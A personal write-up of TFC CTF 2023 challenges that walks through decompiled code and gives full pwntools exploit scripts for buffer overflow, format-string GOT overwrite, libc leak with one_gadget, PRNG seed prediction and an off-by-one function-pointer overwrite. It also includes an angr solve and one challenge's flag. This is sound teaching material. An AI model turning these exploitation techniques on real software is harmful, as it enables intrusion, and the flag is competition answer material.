CTF WriteUp: TFC CTF 2023

front.png

This weekend, i joined TheFewChosen CTF 2023 where i attempted to solve pwn and few other challenges over there However, didn’t able to perform good but hmmm taught me plenty of new things and made me feel i am noob hehe just kidding i am already enough :p

some of pwn challenges i didn’t solve by myself i solved some after CTF by taking help from other participants In discord and by referring writeups i’ll gonna write those all as this blog is a medium for me to referencing the problems in future

All challenges can be found here

Pwn

Diary

this binary contain two main functions vuln and helper

vuln func
1
2
3
4
5
6
7
8
9
10
11
12
13
void vuln(void)

{
undefined8 local_108;
undefined8 local_100;

puts("Dear diary...");
local_108 = 0;
local_100 = 0;

fgets((char *)&local_108,1024,stdin);
return;
}

so here we have BOF in fegets function variable local_108 being over feeded so firt thing comes into mind is that we can ret2shellcode if binary has NX disabled lets check

diary_ck.png

okay we do have binary with rwx so now lets craft the payload and feed the program but where to return so that we can make shellcode execute? firstly i struggled to find the solution as i forgot about helper function

helper func

diary_objdump.png

so as you can see we do have gadget like jump rsp that can help to jump in to the stack and execute the shellcode so final payload will be like this

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3

from pwn import *

elf = ELF("./diary")
libc = elf.libc

context.binary = elf

gdbscript='''
break *0x00000000004012aa
'''

def conn(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([elf.path] + argv, *a, **kw)

def main():
r = conn()
#r = remote('challs.tfcctf.com',32484)
shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')
#print(f"len of shell: {len(shellcode)}")

jmp_rsp = elf.sym.helper+4

payload = flat (
asm('nop')*264,
jmp_rsp,
shellcode,
)

r.sendline(payload)
r.interactive()

if __name__ == "__main__":
main()

shello-world

vuln func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void vuln(void)

{
undefined8 local_108;
undefined8 local_100;

local_108 = 0;
local_100 = 0;

fgets((char *)&local_108,0x100,stdin);
printf("Hello, ");
printf((char *)&local_108);
putchar(10);
return;
}

here we have format string vulnerability in this code and as RELRO is partial we can overwrite the GOT with win function, lets check the offset using this script

1
2
3
4
5
6
7
8
9
10
from pwn import *

elf = context.binary = ELF('./shello-world')
context.log_level = 'error'

for i in range(1,50):
p = process()
payload = 'AAAAAAAA,%{i}$p'.format(i=i)
p.sendline(payload)
print(p.recvall(), i)

shello-world_ps.png

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

elf = context.binary = ELF('./shello-world')
context.log_level = 'info'

#p = process()
p = remote("challs.tfcctf.com",32419)

def got_ow():
payload = {
elf.got.putchar: elf.sym.win
}
payload = fmtstr_payload(6,payload,write_size='short')
return payload

payload = got_ow()
#p.recvuntil("me? : ")
p.sendline(payload)
p.interactive()

reference : https://axcheron.github.io/exploit-101-format-strings/

Easy ROP

main func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 1	void main(void)
2
3 {
4 undefined4 uVar1;
5 long i;
6 undefined8 *puVar2;
7 long in_FS_OFFSET;
8 byte bVar3;
9 int local_214;
10 undefined4 local_210;
11 uint local_20c;
12 undefined8 local_208 [63];
13 long local_10;
14
15 bVar3 = 0;
16 local_10 = *(long *)(in_FS_OFFSET + 0x28);
17 setup();
18 puVar2 = local_208;
19 for (i = 62; i != 0; i = i + -1) {
20 *puVar2 = 0;
21 puVar2 = puVar2 + (ulong)bVar3 * -2 + 1;
22 }
23 *(undefined4 *)puVar2 = 0;
24 while( true ) {
25 while( true ) {
26 local_210 = 0;
27 local_20c = 0;
28 puts("Welcome to easyrop!");
29 puts("Press \'1\' to write and \'2\' to read!");
30 __isoc99_scanf(&DAT_00402017,&local_214);
31 if (local_214 != 1) break;
32 local_20c = get_index();
33 uVar1 = get_number();
34 *(undefined4 *)((long)local_208 + (ulong)local_20c * 4) = uVar1;
35 }
36 if (local_214 != 2) break;
37 local_20c = get_index();
38 printf("The number at index %d is %x\n",(ulong)local_20c,
39 (ulong)*(uint *)((long)local_208 + (ulong)local_20c * 4));
40 }
41 puts("Bye :(");
42 if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
43 /* WARNING: Subroutine does not return */
44 __stack_chk_fail();
45 }
46 return;
47 }

so function’s functionality is like

  • provides to two options 1 and 2 for read and write sequentially
  • that takes index and content(number) to write
  • that being stored on variable local_208 corresponding to given index

so bug spotted in line number 38 as we can see that variable local_208’s address being printed using %x format specifier, it seems that we may get libc address that will help us to calculate the base address, lets find out the offset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3

from pwn import *

elf = ELF("./easyrop")
libc = elf.libc

context.binary = elf
context.log_level = "info"

gdbscript='''
continue
'''
def conn(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([elf.path] + argv, *a, **kw)


def main():
r = conn()

r.recvuntil(b"read!\n")
for i in range(0,300):
if i % 3 != 0:
r.sendline(b"2")
r.sendlineafter(b"index: ",str(i).encode())
print(r.recvline())

pause()

r.interactive()

if __name__ == "__main__":
main()

using that if condition thing ‘cause of restriction we have in get_index function i.e.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
uint get_index(void)

{
long in_FS_OFFSET;
uint local_14;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
fwrite("Select index: ",1,14,stdout);
__isoc99_scanf(&DAT_00402017,&local_14);
if (local_14 % 3 == 0) {
puts("Nope! Can\'t give u that one!");
/* WARNING: Subroutine does not return */
exit(0);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return local_14;
}

and here we go!

easy_rop_leak.png

address is printed in two half parts as we have seen in main function i.e.

1
(ulong)*(uint *)((long)local_208 + (ulong)local_20c * 4));

that is basically equivalent to local_208[i*4]

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

elf = context.binary = ELF('./easyrop')

gdbscript='''
conitnue
'''

def conn(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([elf.path] + argv, *a, **kw)

while True:
io = conn()

io.sendline(b"2")
io.sendline(b"130")
io.recvuntil(b" is ")
leak2=io.recvline().strip()

io.sendline(b"2")
io.sendline(b"131")
io.recvuntil(b" is ")
leak1=io.recvline().strip()

leak = int(b"0x"+leak1+leak2,16) - 0x2718a
print("LEAK",hex(leak),leak1,leak2)

gadget = leak + 0xebcf8 #one_gadget
io.sendline(b"1")
io.sendline(b"130")
pl=str(gadget&0x00000000ffffffff)
io.sendline(pl.encode())
print("part1",hex(int(pl)))
io.sendline(b"1")
io.sendline(b"131")
pl=str(gadget>>32)
print("part2",hex(int(pl)))
io.sendline(pl.encode())

io.sendline(b"3")
io.interactive()

gadget&0x00000000ffffffff and gadget>>32 is used to send the address in two half as it takes only 4 bytes at a time so first half lower bytes and then rest higher bytes sequentially

random

main func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
undefined8 main(void)

{
int iVar1;
time_t tVar2;
int i;
int j;
int counter;

setup();
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
for (i = 0; i < 10; i = i + 1) {
iVar1 = rand();
*(int *)(v + (long)i * 4) = iVar1;
}
puts("Guess my numbers!");
for (j = 0; j < 10; j = j + 1) {
__isoc99_scanf(&DAT_0010201e,input + (long)j * 4);
}
counter = 0;
while( true ) {
if (9 < counter) {
win();
return 0;
}
if (*(int *)(v + (long)counter * 4) != *(int *)(input + (long)counter * 4)) break;
counter = counter + 1;
}
puts("You didn\'t make it :(");
/* WARNING: Subroutine does not return */
exit(0);
}

function workflow :

  • Loop1: generates 10 random integer values using the rand function and stores them in an array-like structure starting from the memory address v. The use of the time function to seed the random number generator ensures that each time the program is run, it produces a different sequence of random values.
  • Loop2: let user to guess numbers
  • Loop3: compare the user given number to random generated number one by one if each and every number that being generated randomly in first loop is equal to user guessed numbers that it will call the win function that contain spwan the shell

so all we have to do is somehow generate the exact numbers that being generated by program

we can replicate the process in python using cytpes library

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from ctypes import CDLL

elf = context.binary = ELF('./random')
libc = CDLL("libc.so.6")

io = process()
#io = remote('challs.tfcctf.com',31094)
libc.srand(libc.time(0))
nbs = []
for i in range(10):
nbs.append(libc.rand())
io.recvuntil(b'Guess my numbers!\n')
for i in nbs:
io.sendline(str(i))
io.interactive()

pwngate

this challenge is pretty fun to solve, lets disassemble the program and follow through each function

main func
1
2
3
4
5
6
7
8
9
10
11
12
undefined8 main(void)

{
puts("Your current timeline is horrible.");
sleep(1);
puts("In order to reach the Pwn;Gate you are ready to sacrifice everything...\n");
sleep(1);
setup();
current_leap();
menu();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
void menu(void)

{
undefined4 local_11;
undefined local_d;
int local_c;

printf("Enter your name: ");
fgets(timeline,0xf,stdin);
while( true ) {
while( true ) {
while( true ) {
while( true ) {
puts("\nWhat are you going to do?");
puts("-------------------------");
puts("[1] Try to change the timeline");
puts("[2] Time leap");
puts("[3] Ensure your sanity");
puts("[4] Remember who you are");
puts("[5] Exit");
puts("-------------------------");
printf("Enter choice: ");
local_11 = 0;
local_d = 0;
fgets((char *)&local_11,5,stdin);
local_c = atoi((char *)&local_11);
if (local_c != 1) break;
divergence_meter();
}
if (local_c != 2) break;
timeleap();
}
if (local_c != 3) break;
if (leveling._0_4_ == 0) {
puts("You are sane.");
}
else {
sanity();
}
}
if (local_c == 5) break;
if (local_c == 4) {
if (leveling._4_4_ == 0) {
puts("You didn\'t play the game yet! :(");
}
else {
okabe();
}
}
else {
puts("Try again.\n");
}
}
/* WARNING: Subroutine does not return */
exit(0);
}

It’s just a menu of functions that allows you to navigate to each function within the program by selecting the corresponding number, lets see each function one by one

divergence_meter func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void divergence_meter(void)

{
size_t sVar1;
ulong uVar2;
undefined8 local_2f;
undefined4 local_27;
undefined2 local_23;
undefined local_21;
int counter;
int local_1c;

local_2f = 0;
local_27 = 0;
local_23 = 0;
local_21 = 0;
printf("Choose where to leap: ");
fgets((char *)&local_2f,15,stdin);
local_1c = 0;
counter = 0;
do {
uVar2 = SEXT48(counter);
sVar1 = strlen((char *)&local_2f);
if (sVar1 <= uVar2) {
return;
}
if (*(char *)((long)&local_2f + (long)counter) != 'g') {
if ((*(char *)((long)&local_2f + (long)counter) == 'o') && (local_1c != 0)) {
local_1c = youdidwhat(local_1c);
}
else {
timeline[(long)local_1c + 16] = *(undefined *)((long)&local_2f + (long)counter);
local_1c = local_1c + 1;
}
if (8 < local_1c) {
return;
}
}
counter = counter + 1;
} while( true );
}

This function divergence_meter reads user input, processing characters according to conditions, and stores them in the timeline array.

here in this function we have BOF in the fgets function local_2f local variable suppose to hold 8 byte of data but more than that has permitted and content from local_2f variable being copied to timeline variable and if we see in ghidra timeline is global variable

pwngate1.png

pwngate2.png

that also being used in other function as well, lets follow timeleap and timeleap and current_leap

current_leap func
1
2
3
4
5
6
7
8
9
10
void current_leap(void)

{
timeline._24_8_ = fate;
leveling._0_4_ = 0;
leveling._24_8_ = 0;
password();
leveling._4_4_ = 0;
return;
}

okay so basically timeline is structure and this function assigns the function pointer fate to the _24_8_ member of the timeline structure. and also sets the _0_4_ , _24_8_ and _4_4_ members of the leveling structure to 0.

hmm so here timeline._24_8_ is working as function pointer and A function pointer is a variable that can store the memory address of a function. In this case, the code is setting the function pointer timeline._24_8_ to point to the fate function. This allows you to call the fate function indirectly through the function pointer timeline._24_8_.

timeleap func
1
2
3
4
5
6
7
8
void timeleap(void)

{
puts("You\'ve pressed the button... be ready for the leap!");
sleep(0);
(*timeline._24_8_)();
return;
}

and that function pointer being called in this timeleap function that is fate function

sanity func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
void sanity(void)

{
int iVar1;
undefined4 local_ed;
undefined local_e9;
char local_e8 [50];
char local_b6 [50];
char local_84 [50];
char local_52 [54];
int local_1c;
int i;
int local_14;
int local_10;
uint local_c;

puts("\nI don\'t recognize you, answer some questions first.");
sleep(1);
local_c = 0;
local_10 = 0;
while( true ) {
while( true ) {
puts("------------------------------");
puts("[1] Answer my questions");
puts("[2] Show your answers");
puts("[3] See your score");
puts("[4] Return");
puts("------------------------------");
printf("Choose: ");
local_ed = 0;
local_e9 = 0;
fgets((char *)&local_ed,5,stdin);
local_1c = atoi((char *)&local_ed);
if (local_1c != 1) break;
for (local_14 = 0; local_14 < 2; local_14 = local_14 + 1) {
memset(local_e8 + (long)local_14 * 0x32,0,0x32);
}
puts("What is written on the Lab Members badge?");
fgets(local_e8,0x32,stdin);
iVar1 = strcmp(local_e8,"OSHMKUFA 2010");
if (iVar1 != 0) {
local_c = local_c + 1;
}
puts("What is the name of Okabe\'s Laboratory?");
fgets(local_b6,0x32,stdin);
iVar1 = strcmp(local_b6,"Future Gagdet Laboratory");
if (iVar1 != 0) {
local_c = local_c + 1;
}
puts("What is Mayuri\'s favorite hobby?");
fgets(local_84,0x32,stdin);
iVar1 = strcmp(local_84,"Cosplay");
if (iVar1 != 0) {
local_c = local_c + 1;
}
puts("Is Ruka a boy or girl?");
fgets(local_52,0x32,stdin);
iVar1 = strcmp(local_52,"It depends on the timeline");
if (iVar1 != 0) {
local_c = local_c + 1;
}
leveling._4_4_ = 1;
puts("I think l remember you a bit now...");
}
if ((local_1c == 2) && (local_10 != 1)) break;
if (local_1c == 3) {
local_10 = 1;
printf("Your score is: %d \n",(ulong)local_c);
}
else {
if ((local_1c != 2) || (local_10 != 1)) {
return;
}
puts("These are your answers: ");
for (i = 0; i < 4; i = i + 1) {
puts(local_e8 + (long)i * 0x32);
}
}
}
puts("You didn\'t even start the game...");
/* WARNING: Subroutine does not return */
exit(0);
}

okay simple quiz game. Users answer questions, accumulating a score for incorrect responses. They can choose to answer, display answers, or check their score. Incorrect answers increase the score. The function handles input, checks answers, and provides feedback.

this function require leveling._0_4_ != 0 BTW

okabe func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void okabe(void)

{
int iVar1;
char local_28 [12];
undefined local_1c;

puts("What\'s the password?");
fgets(local_28,20,stdin);
local_1c = 0;
iVar1 = strcmp(leveling + 8,local_28);
if (iVar1 != 0) {
puts("That\'s wrong.");
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Do you still remember who you are?: ");
fgets(timeline,0x20,stdin);
return;
}

Prompts the user to enter a password using fgets and stores it in the local_28 character array check for password correction, if incorrect exit the program or else it will prompt the user to enter data that being stored on timeline variable

and remember it require leveling._4_4_ != 0 to being called

okkayy lets sum up the information we got :

  • we have BOF in function divergence_meter that allows us to to write out of bound
    • but things get start serious when we jump to while loop where the content of local variable local_2f being copied into timeline variable, it loop for 9 time and content of local_2f variable being copied to timeline one by one, as index of timeline start from 16 that is timeline[(long)local_1c + 16] and goes until 9 byte of write (if(8<local_1c)) we are able to write next one byte of timeline i.e. timeline[24] and as we have seen in curretn_leap function this particular member of this structure is function pointer of fate function i.e. timeline._24_8_ = fate; so we have OBO bug here
  • function timeleap call the function i.e. (*timeline._24_8_)();
  • yet to see how function sanity is working or if it gives any information that can help us to pwn the binary as it is only callable if leveling._0_4_ != 0 we have to figure it out
  • function okabe asking for password that we don’t know about so far and this func is only callable when leveling._4_4_ != 0 as previous function

so lets focus on sanity and okabe function for now how we can make it call.

okay as leveling._4_4_ is global we can follow or cross reference where else this particular variable being used in program by double clicking on it (in ghidra)

pwngate2.1.png

so its used in some other function also where one of them is print_current_password where we can see leveling._0_4_ = 1 so this function make that particular variable value 1, so somehow we have to call this function to call sanity one

lets follow the parent function function of this particular one following XREF

pwngate3.gif

so print_current_password -> verify_number -> whereami -> new_fate we have to call new_fate one

and same for okabe

pwngate4.gif

the function we have to to call is sanity , we have to call sanity anyway

we leveraged the OBO bug to overwrite the LSB of one byte of fate address new_fate that gives us password

pwngate5.png

and thus we are allowed to call sanity that leaks the address (see the exploit)

pwngate6.png

pwngate7.png

Exploitation methodology :

  • using OBO overwrite the fate to new_fate as the first byte and a half is not changed by aslr so we can hardcode the byte
  • call the timeleap function so that we can make new_fate call undirectly using function pointer
  • grab the password from new_fate
  • grab the leak from sanity and calculate the base
  • use the pass and overwrite the address of timeline._24_8_ with win i.e. first 24 byte garbage and rest 8 byte address of win as we are allowed to write 32 byte
  • as we have overwritten timeline._24_8_ we can call it using timeleap function

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3

from pwn import *

elf = ELF("./pwngate_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = elf

gdbscript="""
continue
"""

def conn(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([elf.path] + argv, *a, **kw)

r = conn()

def obo_fate(obo):
r.sendlineafter("Enter choice: ", "1")
r.sendlineafter("Choose where to leap: ", b"A"*8 + pack(obo))
def answer_questions():
r.sendlineafter("Choose: ", "1")
for i in range(4):
r.recvline()
r.sendline("M"*(0x30 - 1))

def main():

r.sendlineafter("Enter your name: ", "zr0x")
obo_fate(0xec)
r.sendlineafter("Enter choice: ", "2")
r.sendlineafter("Choose what to do: ", str(0x100000000))
r.recvuntil("Your password is: \n")
password = r.recvline().strip()
print(b"PASS is " + password)

r.sendlineafter("Enter choice: ", "3")
r.sendlineafter("Choose: ", "3")
r.sendlineafter("Choose: ", "2")

r.recvline()
leak = u64(r.recvline().strip().ljust(8, b"\x00"))
log.info("Leak " + hex(leak))

answer_questions()

r.sendlineafter("Choose: ", "4")
elf.address = leak - 0x3d48
r.sendlineafter("Enter choice: ", "4")
r.sendlineafter("\n", password)
r.sendlineafter("are?: ", b"A"*0x18 + p64(elf.sym.win))
r.sendlineafter("Enter choice: ", "2")

r.interactive()

if __name__ == "__main__":
main()

notes

main func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
void main(void)

{
undefined8 uVar1;
int local_6c;
undefined local_68 [16];
undefined local_58 [16];
undefined local_48 [16];
undefined local_38 [16];
undefined local_28 [16];
int local_10;
int local_c;

setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
local_68 = (undefined [16])0x0;
local_58 = (undefined [16])0x0;
local_48 = (undefined [16])0x0;
local_38 = (undefined [16])0x0;
local_28 = (undefined [16])0x0;
while( true ) {
do {
while( true ) {
do {
while( true ) {
menu();
__isoc99_scanf(&DAT_0040204f,&local_6c);
if (local_6c != 3) break;
view(local_68);
}
} while (3 < local_6c);
if (local_6c != 2) break;
local_c = get_index();
if ((local_c != -1) && (*(long *)(local_68 + (long)local_c * 8) != 0)) {
edit(*(undefined8 *)(local_68 + (long)local_c * 8));
}
}
} while (2 < local_6c);
if (local_6c == 0) break;
if ((local_6c == 1) && (local_10 = get_index(), local_10 != -1)) {
uVar1 = add();
*(undefined8 *)(local_68 + (long)local_10 * 8) = uVar1;
}
}
/* WARNING: Subroutine does not return */
exit(0);
}

work flow of main function :

  • allows us to add , edit , view and exit using their corresponding numbers
  • takes index and content to add and edit the particular memory section

did manage to overwrite got entry of exit with win function as partial relero is set

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3

from pwn import *

elf = ELF("./notes")

context.binary = elf

gdbscript ='''
break *0x0000000000401439
'''

def conn(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([elf.path] + argv, *a, **kw)

r = conn()
def add(index):
r.recv()
r.sendline("1")
r.recvline()
r.sendline(str(index))
r.recvline()
r.sendline(b"AA")

def edit(index, content):
r.recv()
r.sendline("2")
r.recvline()
r.sendline(str(index))
r.recvline()
r.sendline(content)

def main():

add(0)
add(1)
pause()
edit(0, b"A"*0x20 + p64(elf.got["exit"]))
pause()
edit(1, p64(elf.sym.win))
pause()
r.sendline("0")

r.interactive()


if __name__ == "__main__":
main()

Rev

pass

main func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void main(void)

{
char extraout_AL;
char *pcVar1;
long in_FS_OFFSET;
uint counter;
char user_input [40];
undefined8 local_10;

local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
set_flag();
fgets(user_input,27,stdin);
pcVar1 = user_input;
printf("Password entered: %s\n");
counter = 0;
do {
encrypt((char *)(ulong)(uint)(int)user_input[counter],(int)pcVar1);
if (extraout_AL != flag[(ulong)counter * 26]) {
puts("Wrong password");
/* WARNING: Subroutine does not return */
exit(0);
}
counter = increment();
} while (counter != 25);
puts("Correct password");
/* WARNING: Subroutine does not return */
exit(0);
}

Solve

1
2
3
4
5
6
7
8
9
10
11
12
import angr
import re

project = angr.Project("./pass", auto_load_libs=False)

@project.hook(0x4019b3) # Target address
def print_flag(state):
print("VALID INPUT:", state.posix.dumps(0))
project.terminate_execution()

project.execute()

Forensic

down bad

Solve

https://fotoforensics.com/

Cry

mayday

description

We are sinking! The nearest ship got our SOS call, but they replied in pure gobbledygook! Are ye savvy enough to decode the message, or will we be sleepin’ with the fish tonight All hands on deck!

Whiskey Hotel Four Tango Dash Alpha Romeo Three Dash Yankee Oscar Uniform Dash Sierra One November Kilo India November Golf Dash Four Bravo Zero Uniform Seven

Flag format: TFCCTF{RESUL7-H3R3}

cry1.png

Flag : TFCCTF{WH4T-AR3-YOU-S1NKING-4B0U7}